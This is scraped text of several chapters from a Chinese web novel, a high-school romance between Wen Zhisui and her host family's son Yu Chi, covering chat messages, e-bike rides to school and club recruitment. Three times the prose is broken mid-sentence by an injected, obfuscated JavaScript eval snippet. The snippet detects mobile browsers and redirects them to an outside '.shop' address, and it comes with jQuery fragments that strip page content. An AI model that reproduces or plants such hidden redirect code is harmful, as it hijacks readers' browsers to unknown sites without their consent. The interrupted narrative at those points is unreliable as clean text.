周嘉佑已经不动声色猫过来想看他手机。 俞迟啪一下摁灭手机丢到旁边的抱枕底下,凉凉瞪他们一眼,不笑了。 周嘉佑切一声,看穿他似的:“瞧给你小气的。不就跟姑娘聊天么,谁没有过一样。”觉得没劲,耸耸肩又靠回原位,重新回到峡谷厮杀。 没了一群人的围观,俞迟又俯身把那手机捞回,给温之岁回了条信息:【嗯,好像确实挺傻。】 逗温之岁可真好玩,他觉得。 俞迟往下压了压不自觉翘起的唇角,想了想,又对着键盘一顿敲敲打打。 【俞迟:一会打算怎么回学校?骑小白驴?】 温之岁不知道干嘛去了,没立刻回。 他盯着两人聊天界面最上方的位置,一直没等来那句“对方正在输入中……” 得。俞迟暗叹一口气,带着不悦的那种。他又给温之岁发去一条消息:【没礼貌。有事不提前说一声就下了?】 对面仍然毫无动静。 他彻底服了,又把手机一扔。那手机滚动着,砸到袁川微微翘起的小屁股后又弹回刚才那抱枕的下方。 袁川刚被对面打野单杀了,感觉到屁股被什么东西硌了下,气不打一处来。他想破口大骂,结果一回头看到俞迟双手抱胸,满脸都写着不爽,他又忍住了。 这少爷又犯的什么病? 王子病呗。温之岁想,俞迟这家伙一定是得了什么奇奇怪怪的王子病。 她从店里出来到现在走进家门,不过十五分钟的时间,这人是怎么做到这么容易就生气的? 她抿唇,和俞迟解释:【刚刚在骑车没看手机。晚上去学校应该是要骑小白驴去的。】 温之岁发完消息后又等了两三分钟,见俞迟没再发消息过来,她便把手机收起,回了房间拿出题目来做。 俞迟当然不会立刻回。他看到她的信息了,他也是故意的,甚至没点开键盘,生怕对面那人看到他“正在输入中……” 显得他多爱跟她聊天似的。 精准地掐算好时间。温之岁莫名其妙消失了十三分钟,俞迟便也等了十三分钟,然后才问她:【一个人骑去学校行吗?需不需要我跟着你骑一趟。】 俞迟发这条消息的时候在想:温之岁一会要是又摔路上了怎么办?那他妈梁意估计得把他轰出家门吧。 温之岁手机就放在手边,她看见屏幕亮了两下,确认是俞迟又发微信来了,就立马打字回复他,唯恐怠慢了这位有着王子病的大少爷。 【温之岁:不用,你不是在陪朋友过生日吗。我慢慢骑,应该没问题的。】 俞迟给她回了个“OK” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525956|203499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的表情包。 【俞迟:建议你六点一十就出发,再晚的话校门口人就会很多。就你那车技,还是避着点,也为他们好。】 “……”如果俞迟不说后半句话,温之岁会惊讶这少爷竟然还有暖心体贴的一面。 【温之岁:哦。但我打算五点半就出发。】 【俞迟:?】 【温之岁:我要去学习。】 【俞迟:。】 温之岁好想骂他的。到底谁没礼貌,就会甩句号甩问号算个什么意思? 她撇撇嘴,到底还是忍住了。决定不再搭理他,把手机关了就继续看起书来。 温之岁真的五点半就出发了。沿着平常21路公交车的路线,主打一个不影响任何人,只怂怂地缩在非机动车道的最里侧,小心翼翼拧紧车把。 出了家属楼的第一个十字路口,恰逢红灯,她停下,在心里盘算着还需要再过三个红绿灯就能到学校了。 身后倏然间响起一群少年中气十足的嬉笑声。 “不是谁他妈说要往这条路走的?这不多绕了一圈吗?都开迟狗家这边来了。” “就是迟狗带的头呗。” “俞迟他妈的闲的慌吧。” “我看也是,哈哈哈哈哈哈!” 听见了熟悉的名字,温之岁转头往后看。 果真就见俞迟和袁川坐在同一辆小电驴上,俞迟在前边开车,从温之岁的角度看去,袁川好似趴在了俞迟肩上,情态娇俏。旁边同行的还有周嘉佑、陈奇和一班的其他一些男生。 温之岁没记错的话,陈奇就是今天过生日的那个寿星。因为他是住校生,晚上还要返校,俞迟一大早就被他们拉去开生日party了。 为了避免再发生暑假在电梯里的情况,这次温之岁主动朝他们招了招手,很浅的一笑,就算作打招呼。 俞迟骑的是一辆大型电动车,体型比温之岁的小白驴要“壮”出很多,他把车停在温之岁旁边,前轮刚刚好压着白线。 后座的袁川闲不住,抓到空当就立刻和温之岁搭话:“温之岁,你现在也骑车上学了啊?” 温之岁侧头看袁川一眼,刚想回答,余光见红灯黄灯接连跳闪,绿灯亮起,旁边俞迟嗖一声从她身边开过。她反应过来,有点慌张,迅速拧着油门跟上。 …… 小白驴速度很慢,周嘉佑和其他男生跟在后面被迫降低速度。他们好无奈,只好连摁好几声喇叭提醒:“妹妹,你让让,让我们开前边去。” 嗯?温之岁骑车时不敢分心,听到周嘉佑在后边喊她也没回头。只在心里疑惑不是已经靠着边边骑了么?怎么还挡着人了? 她不敢回头或者大幅度侧头,只能偷偷用余光瞄了眼小白驴现在的位置。 小白驴的右边就是绿化带和人行道,证明她真的真的靠边骑了。 而小白驴的左边,好似有一辆“大块头”正和她并行着。 余光里温之岁并不能看清骑车人的脸。 直到他后座的那人终于再次出声:“阿迟你往旁边骑点啊,挡道了知不知道?有没有点素质的?” 温之岁才分神瞄了一眼左边。 “……” 果然又是这个“王子病”。 8. 第八块“岁”片 夏日的白昼总是更长。此刻天色橙蓝交接,蓝白色校服的少男少女们衣摆被风吹得鼓起,他们迎着风,尽情享受这难得的肆意和自由。 除了温之岁,她自由不起来一点。 耳边,不止有“呼呼”而过的热风。 还有俞迟叽叽喳喳絮絮叨叨的声音。 “温之岁,开慢点。” “温之岁,你往里边开点。” “温之岁,你那么紧张干什么。别人滴你你不理他不就完了?” “温之岁,速度如果太慢了更容易翻车,你知不知道?” …… 一声又一声的念叨,温之岁背挺得更直,说是雨后刚出土的小竹笋也不为过,手心全是汗,说不清到底是热的还是被俞迟吵的。 她真的好想把俞迟的嘴缝上啊。 “温之岁,转弯的时候要拧……” 他又又又来了…… 经过最后一个红绿灯,他们左转正式驶入环校路。 尽管这会还没到返校高峰时段,路况依旧不佳。非机动车道被一排排小摊小贩占了大半,自行车,电动车,行人。环校路水泄不通。 原本骑在前方把身后两人甩了一大段距离的袁川一群人也被迫放慢速度,和两人的距离越来越近。 因为俞迟这会就并骑在她旁边,温之岁没那么害怕会被撞了,皱着眉侧头看他,也是这一路上她第一次敢大胆扭头。控诉:“俞迟,你真的好吵啊。” 能不能把嘴巴闭上啊。 俞迟闻言挑眉看她一眼。他什么都没说,只没什么情绪地“哦”了声,就又直视回前方。 他当真不继续念叨了。 忽然静下来,温之岁又有点不习惯。她下意识往前拧了些油门,加快了速度,想要用逃避来结束这场尴尬的共骑。 可无奈俞迟好像也拧紧了油门跟上。 路上人和车实在太多,温之岁不敢再骑快了,她索幸放弃“挣扎”。 两人沉默地开完全程,一前一后驶入一中的停车棚。 时间还早,车棚里的车不算多,还有很多空的停车位。 温之岁找了个好位置将她的小白驴安置进去,转头时发现俞迟刚好也停好了车,他停车的位置和她的小白驴中间隔了三辆车。 “大块头”不是俞迟的,他早上被那群人不由分说一顿薅出门,没来得及骑上自己的山地自行车。 袁川从周嘉佑的车子上下来,接过俞迟抛过来的车钥匙。“大块头”是他的。 俞迟这家伙完全是属恶霸的。先是霸道地强占了他的车,带着一群人在市医院家属区附近瞎晃悠乱开。然后又是嫌他吵,在半路上二话不说就赶他下车。袁川就不懂了,到底谁是客谁是主啊? 温之岁看俞迟把钥匙抛还给袁川。然后他挎上黑色书包,没打算等任何人,自顾自就扬长而去。 男生们还在后边嘻嘻哈哈,一转头发现俞迟没等他们就跑了,一边臭骂他一边追上。 周嘉佑勾上俞迟的肩,大半身体的重量往他身上压,笑骂:“你小子,不等等我们就走啊?” 结果是周嘉佑的手被俞迟无情抖开。 温之岁看着男生们渐渐走远。俞迟被拥在人群里,只留给她一个乌黑茂密的后脑勺。 说不上来为什么,温之岁心里腾地升起一股愧疚感。 —— 翌日,周一清晨。 梁意今天轮休,有了上次失败的教训,她没再敢亲自下厨,只赶在温之岁和俞迟起床前去外边简单买了些早餐。 她上回见温之岁似乎很喜欢小区外边第二家早餐店的茶叶蛋,这次便特意多买了些。还有小笼包,温之岁上次吃的也挺多。 梁意真的有把温之岁当自己的女儿在养。 但这让温之岁更加愧疚了。 俞迟原先住的卧室有独立的卫生间,温之岁洗漱完换好校服后从房间里出来,看到餐桌上摆着的各种各样的新鲜早餐,一时间有些无措。 她手还搭在卧室的门把手上。梁意恰好从厨房端了两杯热牛奶经过,见温之岁还在发愣,柔声唤她:“过来吃早餐吧。” 俞迟不多久后也从外边的卫生间出来了。 他趿着拖鞋,额前的头发被水打湿了些,有的发尾还在湿漉漉地往下滴水。眼皮半撩不撩,像是没睡醒。 他整个人人高马大在温之岁对面坐下。 温之岁只觉视野里光线跟着暗了几分。刚刚那道从窗沿洒进来的刺眼的光被俞迟遮去,全数洒在少年宽阔的脊背和干净的脖颈上。 即使是清晨的阳光,也又刺又晒。 俞迟大半个身子晕在光圈里,埋头喝粥,好似浑然不觉。 光把他晕染得毛茸茸,暖洋洋的。 温之岁抬头看了他一眼,蓦地想起上周胡筱和跟她聊起的话题。 胡筱和知道温之岁不是俞迟的表妹,只是在俞迟家寄住。是温之岁告诉她的,温之岁觉得胡筱和对自己很真诚,她也真的把胡筱和当朋友。面对朋友就不应该有什么隐瞒。 胡筱和刚开始很震惊,问那俞迟妈妈为什么要说你们是表兄妹啊? 温之岁摇头后又点头。她觉得梁阿姨应该是害怕他们没有任何血缘关系却住在一起,会招来其他人不必要的猜想,所以对陈严明和徐平也只说俩人是表兄妹。 胡筱和一听立刻哎一声,竖起大拇指,觉得很有道理:“对嘛对嘛!我觉得他妈妈考虑得挺周到的,先不说俞迟周围那群朋友了,肯定会跟着瞎起哄,尤其是那个周嘉佑!更何况我们学校里还有这么多偷偷暗恋俞迟的女生,要是知道了有些人可不得莫名其妙就把你当成她们的假想敌了啊!” 温之岁讶然:“我们学校……有很多人喜欢俞迟吗?” “对呀对呀。”聊八卦胡筱和瞬间来了劲,瞥一眼身后,确认俞迟不在,“你不觉得他那张脸确实长得还不错嘛?就是有时候话太少了,有时候一张嘴又会毒死人……” …… 果然,俞大少爷不说话的时候确实有几分姿色。 感叹这个观点之余,温之岁又没来由生出一股躁意。 她不禁怀疑,俞迟可能真的因为她昨天那句话生气了。 半个多月的相处下来,两人间虽不到随时就会打招呼聊天的地步。但从昨天傍晚到现在,有好多个换作平常俞迟一定会损她的瞬间,俞迟都没说话。甚至可以说在温之岁面前就没再张嘴说过话了。 像是在和她置气。 ——你不是说我吵吗?行,那我以后就在你面前当哑巴。 “……”温之岁觉得头大。 吃过早饭,俞迟照例挎上书包拎起钥匙就要出门,梁意也照例把他叫住,让他等等温之岁一起。 温之岁以为他还是不会说话。 但俞大少爷竟含含糊糊嗯了声,目光淡淡掠过温之岁,和梁意说:“楼下等她。” 语气像是在赏赐,然后才推门下了楼。 温之岁可再不敢让俞大少爷等太久了。匆匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525957|203499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙忙去卫生间淑了个口,回到卧室将书桌上的书一一装进书包,想到他刚刚频繁打哈欠没睡醒的模样,又拉开抽屉拿了包薄荷糖塞进书包里。 走到玄关换好鞋才意识到校牌没拿,就又把鞋脱了折回卧室拿校牌。 梁意看温之岁紧张兮兮的,不知道怎么了,就笑:“岁岁,你那么着急干什么呀?现在还早的。” 温之岁把换下的拖鞋放进鞋柜,拂了拂乱飘的发丝,也笑:“不早了。我要快点去学校背书啦!” 俞迟就站在楼下的停车棚等她。 他面对着家属楼的单元门而立,手里在玩的是一台怀旧款的游戏机,游戏种类不多,都是些简单的打发时间的小游戏,却令一班的男生们为之发狂,总爱在课间拥向拿着那台游戏机的人。 温之岁走过去插上小白驴的钥匙,小白驴发出一声解锁成功的提示音。 俞迟似乎这才注意到她已经来了,不动声色瞥了她一眼,收了游戏机,掏出钥匙开始解锁山地车。 一言不发。 换作平常,他一定会懒洋洋吐槽:“温之岁,你怎么这么慢。” 温之岁暗叹一口气。如果可以,她真的好想撬开他的大脑,想知道他脑子到底是什么构造,怎么能这么小心眼的? 温之岁先一步把小白驴挪出来,她停在一旁等他。 俞迟也把车挪了出来。在他即将长腿一跨,扬长而去之前,温之岁及时把他喊住。 “俞迟,你等等。” 俞迟一只手搭在车把,单脚撑地,回头看她。明明猜到她可能想说什么,却要故意装作不明所以,眼神淡淡的,看起来没什么情绪。 温之岁只觉不好意思,她真的不擅长处理这些。以前没有人跟她生气,她也从不会跟别人生气。 她不知道说什么,只好把书包暗格里的薄荷糖拿出来,递过去给他。 他们停留的地方旁边有一棵成年樟树,绿叶葱葱,光影斑驳。 明明没有光照在俞迟身上,俞迟看着温之岁手里绿光荧荧、闪着光斑的糖果,却眯起了眼。 温之岁看他一眼,解释:“你看起来好像很困,这个糖提神效果很好,你可以试试看。” 俞迟没说话。确切地说是他不敢说话,他强压住不自觉要上翘的唇角,生怕下一秒就会破功,在她面前笑开来。 他真的生气了吗?要说有又不算有。听到她说他吵的那一下他其实是郁闷的,他觉得他好像被她嫌弃了,所以不想和温之岁说话了。 可昨晚他一时没睡着,躺在床上任思绪乱飞的时候,他那会又真觉得自己挺没劲的,竟然因为一句话就和一个姑娘间接搞起了冷战。这也太不俞迟了。 他太离谱了。 俞迟没接过她的糖,而是把手摊开,指尾扬了扬,示意她把糖放他手上。 温之岁合上手指,包住手里的几颗糖,糖纸发出窸窸窣窣的塑料声,她再次张开手,那几颗糖便稳稳落入俞迟手中。 她放得很小心,生怕会碰到他的手指。 俞迟指尖收紧,抓了颗糖拆开包装丢进嘴里,剩余的被他揣进兜里。 薄荷的清凉在他舌尖漫开,好似瞬间打开了他体内的某个机关,他再也收不住了。他勾唇笑了开来。 蝉鸣不吵了,天气也不燥了。 俞迟洋洋得意。像只刚被奖励了肉骨头的狗,如果他身后有尾巴,这会一定是高高翘起的。 他直直看向温之岁,挑眉问她:“特意用来哄我的啊?” 9. 第九块“岁”片 可是九月初的庆安仍旧处在夏天的尾巴,蝉鸣怎么可能不吵,天气又怎么可能不燥。 温之岁眨了眨眼,坦白说:“不是啊。” 她看着俞迟,语气那么真诚:“我就是想跟你解释一下昨天我并没有怪你的意思,只是你一直在旁边说话我很紧张,更骑不好车了。所以才吼了你一句,你别放在心上,行吗?” “……” 俞迟静默了有那么半分钟。 他不死心。也不看温之岁了,就看她身后草丛里的那朵小野花,在风的吹拂下摇摇欲坠。就像这会他的内心,不上不下的,好似被什么东西牵动着:“我在你旁边说话你就很紧张,为什么?” 温之岁猜着俞迟内心的想法,觉得他应该是不生气了。眉心微微蹙了下:“你一直指挥我我当然紧张啊。就像考试的时候监考老师一直站在旁边看你的答题卡,不会紧张吗?” “……”他还能说什么呢,他彻底无话可说了。 俞迟撇撇嘴,有意和温之岁唱反调似的:“哥成绩好着呢,倒还真不会紧张。” “……”温之岁语气难得有一丝丝敷衍:“哦,我知道了。是我会紧张,行吗。” “我们快走吧,一会要是迟到了就不好了。”温之岁催他,自己已经拧了油门往前开了。 “……” 俞迟只好跟上。 —— 周五下午,原本的自习课从本周开始改为室外活动课,所有人可以去到操场上自由选择喜欢的社团加入。 温之岁原本不想去的,除了跳舞她没别的爱好,更何况以现阶段她的处境,把成绩提上去,保证不被一中的滚动分班制淘汰才是最重要的。她不想在别的事情上浪费时间。 但胡筱和坚持让她下去看看,声情并茂形容去年一中的社团是多么多么有意思,高中三年也不能只有学习呀。温之岁拗不过,只好被她拉着一起。 社团招新活动在田径场举行,每个社团都会支一个小摊位,然后绕着田径场一圈排好。温之岁放眼扫去,全是簇拥在一起的人头。 胡筱和抓着温之岁的手往人群里挤:“我们得赶快挤进去看看,不然一会很多社团就会满员了。” “好。” 然而,二十多分钟下来,两人成功凭“自身实力”pass掉了大半个操场的社团。 摄影社,动漫社,象棋社,书法社,影视鉴赏社……这些好像统统都不合心意。 温之岁看胡筱和一副拒任何社团于千里之外的模样,不禁怀疑:“筱和,你确定你说的一中的社团又丰富又有趣不是骗人的吗?” 胡筱和尬笑两声:“当然不是啊!嗯……我就是还没想好要加入哪个,我们再看看呗。” 两人不知不觉就逛到了篮球社的摊前。 篮球社的摊前摆了两块宣传牌,一块是篮球队的,另一块则是篮球社下成立的啦啦队的。 胡筱和上学期参加的就是篮球社的啦啦队,活动内容并不多,特别适合她这种只想用这段时间放松玩乐的人。 但这学期她并不打算再参加篮球社了,原因有两个。 首先,她心心念念的周学长这学期退社了。 其次,周嘉佑成了社长。 有这两个原因在,她胡筱和是说什么都不会再加入篮球社了好吧! 虽然他们都姓周,但两人在胡筱和心里简直一个天上一个地下。 周嘉佑那家伙简直幼稚得不行。不仅威胁俞迟,袁川一群人都加入了他的篮球社,一旦有人要拒绝他,他就大骂那人不是兄弟,甚至还要以绝交相挟。 这不,这会儿袁川正极力邀请温之岁和胡筱和加入啦啦队呢。 “哎温之岁胡筱和,你们要不就加入我们一块了?反正大家都认识,也是朋友,都在一个社团不挺好的?” 胡筱和瞥一眼周嘉佑。 后者高高翘着二郎腿坐在小桌子后边,毫不客气瞪了她一眼。胡筱和登时觉得恼火,翻了个白眼,撒气一般冲向袁川:“不去!你们社团里有个我很讨厌的人,跟他一个社团,我觉得晦气死了!” 温之岁也没什么兴趣,摆手拒绝:“我还是一会再看看别的吧。” 袁川不理解了:“不是胡筱和你看不惯谁了啊?你上学期不还跟我们一起么,怎么这学期就觉得晦气了?” 周嘉佑凉凉嗤一声:“人家上学期是为了咱们的么,人家是为了看帅哥才来的。” 胡筱和瞪他:“关你屁事啊!” “想看帅哥啊。”袁川恍然,哎了声,指了指坐在最里边的俞迟,“喏,我们阿迟不就是吗?你们真不考虑来啊?” 忽地被点到的俞迟头上戴了顶黑色鸭舌帽,帽檐压得很低。这会正闭目养神,仿佛对他们的吵闹毫不在意。 “不来!”胡筱和还是拒绝,双手抱胸,做足了要和周嘉佑作对的气势。 袁川没招了,又看向温之岁,眼神里带着恳求。 上学期篮球社啦啦队的成员大都是现在高三的学姐,高三因为学业原因,这学期不再参加任何社团活动。所以啦啦队成员一夜之间就变成了个位数,再这么下去,这学期他们篮球社可能真的要凑不齐一支完整的啦啦队了。 袁川觉得怎么着温之岁都要比胡筱和好说话,便扯着嗓子喊她妹妹试图拉近距离:“要不你来?也不耽误了多少时间的,就平常我们有比赛的时候给我们加加油助助威,很简单的。” “哦对,那个啦啦操也很容易学的,真的,连我就看了那么几遍的人都会跳了。” 袁川说着就要给温之岁和胡筱和两人当场舞上一段,极力向她们证明加入他们篮球社的啦啦队会有多么的轻松。 身后却忽然有人稳稳当当朝着他的屁股扔了个矿泉水瓶。袁川吃痛地啊一声叫出来,转过头破口大骂。 俞迟摘了刚刚用来遮光的鸭舌帽,嫌头发被压乱了,就随手揉了把头顶的“鸡窝头”。窝在那把红色椅子上,二大爷似的淡淡评价:“真是辣眼睛。” 周嘉佑也没眼看:“袁狗你能别丢人了不?” “哈哈哈哈哈。”旁边一群人乐得不行。 袁川也干脆撩了挑子不管了。把那填好的报名表往桌上一摊,扯了把旁边的椅子就一屁股坐下:“行!我辣眼睛,我丢人,那你们来呗。我还不是为了我们篮球社的啦啦队啊。” 周嘉佑笑意戛然止住,扫了眼那些填好的报名表,确实少得可怜。便再没心思开玩笑了,踹了一脚俞迟的腿,搬出社长的威风来:“你去。” 俞迟偏不吃这一套,横他一眼:“凭什么。” “凭你是她哥啊。”周嘉佑指了指已经走到旁边舞蹈社的温之岁和胡筱和,“再说了,温之岁一看就是很好说话的那种女生,你去宣传宣传,妹妹总不会不听哥哥的话吧?” 俞迟顺着周嘉佑手指半眯着眼看过去。温之岁手里拿了一大摞宣传单,这会正认真听舞蹈社的学姐介绍。估计是热的,脸颊两侧红扑扑,嘴唇也干得发白。 俞迟收回视线,哼一声:“那你怎么不去,胡筱和不还算你半个小青梅么。” 周嘉佑这会就指着俞迟了,狗腿的很:“那我哪能行啊。你帅呗!你去她们指不定就答应了,没准还能再捞一批意外之喜呢。你看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525958|203499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看舞蹈社那边围了多少漂亮姑娘啊,估计又都是有舞蹈功底的,她们要是都来了多好啊。” “别的不服,我就服你一张嘴。”俞迟站起身,把那帽子扔进周嘉佑怀里,弯腰在旁边空地上捞了瓶矿泉水,当真往舞蹈社那边去了。 周嘉佑看俞迟竟然真去了,愣了那么一下下。他他妈的马屁拍到点上了? 舞蹈社摊子外真的围了一圈又一圈的女孩,这一片的空气里都漫着甜腻的香水味。 俞迟慢慢往里边挪动,温之岁站在最里面一圈,胡筱和不知道去哪了,只有她一个人站在那。 俞迟恨不得这会穿的是长袖或者来件外套什么的,这种人挤人的感觉太他妈难受了,周围还他妈是一群女孩,他恨不得就把自己缩成一颗小球。 “俞小球”慢慢滚动着,终于到了温之岁旁边。 她看的很认真,研究数学物理题目似的。连他那么高大一抹影子罩到她身上都没反应。 “看什么呢?” “…啊?”温之岁被他吓了一跳。 俞迟发现这人真的不经吓。他下巴朝她手上的宣传单点了点:“想去舞蹈社?” “没有。”温之岁把那张纸折起来,“随便看看而已。” 俞迟哦了声,把手里的矿泉水递过去给她。 温之岁道了声谢,接过拧开喝了一口。水是常温的,喝下去嗓子舒服多了。 看俞迟一直站在这也不走,温之岁把瓶盖拧紧,就问他:“你是有什么事吗?” 俞迟不大自然地干咳一声,太阳刺眼,他眯了眯眼睛:“那什么,周嘉佑说让我问问你愿不愿意加入我们篮球社。” 温之岁猜到他是为这件事来的:“你们篮球社真的很缺人啊?” 周围人太多,俞迟扯着温之岁肩角处的校服往旁边走了点。他双手抄兜:“嗯。到现在也没几个人报名,确实挺需要你们的。” 温之岁点点头:“哦,那我再想想吧。” “什么意思啊温之岁。”俞迟扯扯嘴角,“刚刚不还不情愿,怎么现在我一说你就要答应了?” “不是你说很需要我们吗?” 俞迟哼了声,莫名很爽:“所以重点是我说的呗。” 温之岁觉得他可以这么理解,毕竟她和袁川他们也不熟:“对啊。我住在你家麻烦你很多了,你也帮了我好几次忙,该谢谢你的。” 俞迟唇角翘得更高了:“哦。” …… 胡筱和刚刚去了趟卫生间,回来发现温之岁已经从那一群人里出来了。 胡筱和小跑过去扑到温之岁身边,拉着她往下一个摊位走:“你是不是等挺久了呀?” 右边的胳膊被胡筱和环住了,温之岁把矿泉水瓶换到左手:“没有啊。我刚刚和那个学姐聊了会天,没觉得很久。” “那就好那就好。你不知道,厕所人也很多哎!” “嗯,感觉大家都下来了。” “哦对,岁岁你是不是还挺想去舞蹈社的啊?我看你刚刚在那儿看得很认真。” 温之岁摇头:“也没有吧。就是以前学过芭蕾,但有一段时间不练了,就还好。” “哦…这样啊。” 两人继续走着,打算象征性地把剩下的社团摊子逛完,有个参与感就行。 最后一个摊子是广播社的,旁边就是田径场的出口,出去能直接去到食堂。 两人都只随意扫了眼广播社的宣传牌,就要从旁边走过。 “温之岁。” 旁边却蓦地响起一道温和干净的声音。 是略微熟悉的声线。 10. 第十块“岁”片 温之岁和胡筱和一齐转头。 胡筱和几乎是第一时间就把面前的这个男生认出来了。 是那天在食堂把最后一份盖浇饭让给她们的帅哥。 男生快步走来,眼底含笑:“温之岁,上次见你就觉得眼熟。后来我才想起来,原来我们小学是一个班的。” 宋砚知歪了歪头,温声问:“我是宋砚知,还有印象吗?” 温之岁努力回想着。尽量把面前这个温润如玉的男生和从前坐在教室最前排,戴着黑框眼镜皮肤黑黢黢的男孩的样貌重叠起来。 宋砚知变化真的太大了。 她失笑:“嗯,我想起来了。你真的变了好多。” 宋砚知不好意思挠挠头:“是吗?你也是,上次见我都没认出来。” 自我介绍么。胡筱和想她是不是也得介绍一下自己,于是对着宋砚知露出一抹灿烂的笑:“帅哥好啊!我叫胡筱和,温之岁的好朋友哦!” 宋砚知也礼貌朝胡筱和笑笑:“你好。” “……” 可是接下来,气氛就这么安静了几秒,宋砚知似乎也没有要走的意思。 胡筱和在心底叹气,主动挑起找话题的担子:“宋同学,你手上拿的是哪个社团的宣传单啊?” “哦,”宋砚知扶了扶眼镜,为终于找到话题感到轻松,“这是我们社团的,广播社,你们想看看吗?” “可以啊。”胡筱和从宋砚知手里接过两张,一张自留,另一张塞进温之岁手里。 宋砚知介绍起来:“我们广播社的话跟别的社团不太一样,别的社团可能一周就按照学校规定的时间开展两次活动,广播社的话每天都需要有人在广播室值班,而且想参加我们社团,得经过考核。” 胡筱和震惊:“每天都要值班吗?” 宋砚知以为胡筱和是觉得耽误时间,忙解释:“当然也不是每天都去。按照每个人的时间排班,大概每人每周去一到两次吧。” 胡筱和撇嘴:“哦。我还以为每天下午都能不上自习出去玩呢。” 温之岁就知道她在打这个主意,被逗笑:“要是真这样,徐老外婆可不会放过你的哦。” 宋砚知也笑了:“行。那你们考虑考虑?如果感兴趣的话可以去广播站或者直接到四班找我,我给你们报名表。” 胡筱和:“OK!” 温之岁点头:“好。” 宋砚知刚往回走了两步,又折回来。他把手中的笔和便签递过去给温之岁问:“温之岁,能加个微信吗?小学的时候你转走之后好像就跟大家失去了联系,还挺遗憾的,现在我们有时候出来玩大家还说想你呢。” 温之岁从庆安转到南川是小学五年级的时候。那会温远良和冯甯已经离婚一年多,温远良再婚,冯甯坚决不同意温之岁继续和温远良住一起,便把她送去了娘家,转学到南川。 当时确实走的匆忙,冯甯只回来了几天就帮温之岁安顿好了一切。 温之岁接过,把自己的联系方式写在便签上递回给宋砚知:“不好意思啊,那个时候事情太多了,我没来得及和你们道别。” 宋砚知把纸条收好,微微一笑:“没关系。现在你不是回来了吗,以后我们有机会还可以一起出去玩。” 温之岁笑应:“嗯。” —— 晚上最后一节自习课是徐平的。 早在上课铃响之前,胡筱和就再次来了一波预言。她凑到温之岁旁边,煞有介事地清了清嗓:“你信不信?徐外婆一会绝对会占用自习时间上课。” 温之岁把笔放下,撑着脑袋问:“为什么?你又提前预判他了啊。” 胡筱和给了个“那是当然”的得意小表情:“国庆前就会月考吧?你看看徐外婆现在才讲哪?他才上圆曲哎,人隔壁文科班都讲到数列了,你就说他会不会压缩我们的时间疯狂赶进度?” 温之岁苦瓜脸:“不要啊。我本来就觉得没什么时间写题……” “嗯?”温之岁忽地反应过来,“文科班的进度你怎么知道?问的周嘉佑?” “对啊。除了他我也不认识别的文科班的人了。” 温之岁鼓鼓嘴:“你们下午不还吵架来着吗?这么快就又和好了啊。” 胡筱和都懒得说自己和周嘉佑那家伙小学鸡式的相处模式,只摆摆手:“哎呀!我俩就是这样的。他傍晚给我买了瓶汽水,我就原谅他了。看他可怜,还顺便答应加入他那篮球社的啦啦队了。” “……”温之岁无话可说。 胡筱和看她表情,想笑:“你以后多跟我们接触接触,自然就会习惯了哈哈哈哈。” 自习铃声响起,徐平踩点进班。 教室外走廊上还一群人在打打闹闹,徐平把教案往台上一丢,也不管到底是哪个班的学生了,走到门口就是一声大吼:“你们这都哪个班的?上课了都不知道啊!赶快回自己班去!” 门外的“鸟儿们”霎时四下散开。 徐平走回讲台上,保温杯重重向讲台砸了两下,厉声向台下喝道:“重点班的学生就要有重点的样子啊!上课铃一响就给我麻溜回到教室,该干嘛干嘛,别那么容易受别人的影响。” “都听到了没?” “听到了——”台下稀稀拉拉回。 徐平倒是满意了:“好,那言归正传,这节自习我们上课。”说着就打开了多媒体放映机。 徐平真的如胡筱和说的那般讲了一整节晚自习的课。 整整八十分钟,温之岁欲哭无泪,想说老师你真的不会累的吗。 放学前的十分钟,徐平谈起下午的社团招新:“学校要求高一高二年级的每位同学都参与到社团活动中。毕竟当时创立这些社团学校可是花费了很多人力物力的,你们不去也是浪费资源了。也别一直蒙头学习,多参加课外活动,千万不要把自己憋出病来,尤其是我们重点班的同学啊!” 胡筱和悄悄推了推温之岁的手,和她耳语:“徐老外婆的意思是每个人都必须要参加哎,那你想好去哪个了吗?” 温之岁摇头:“不知道。我可能得问问我妈。” 胡筱和讶然:“啊?这也要问家长吗?” “嗯。” 她想知道她还能不能继续跳舞,哪怕只是当个爱好。 晚上,温之岁算好时间,十一点半左右的时候给冯甯拨去了电话。这个时间点冯甯应该刚吃完午饭,但还没午睡,不会打扰到她。 电话“嘟嘟——”了几声,冯甯接起。 “喂,岁岁,你这么晚了还没睡。” 温之岁指尖无意识绕着睡衣的衣角:“…嗯。” “那是有什么事吗?你最近学习状态怎么样?一中的教学进度你能跟得上的吧?” “嗯,都还可以的。” 冯甯不满她这个回答,叹一声气:“还可以 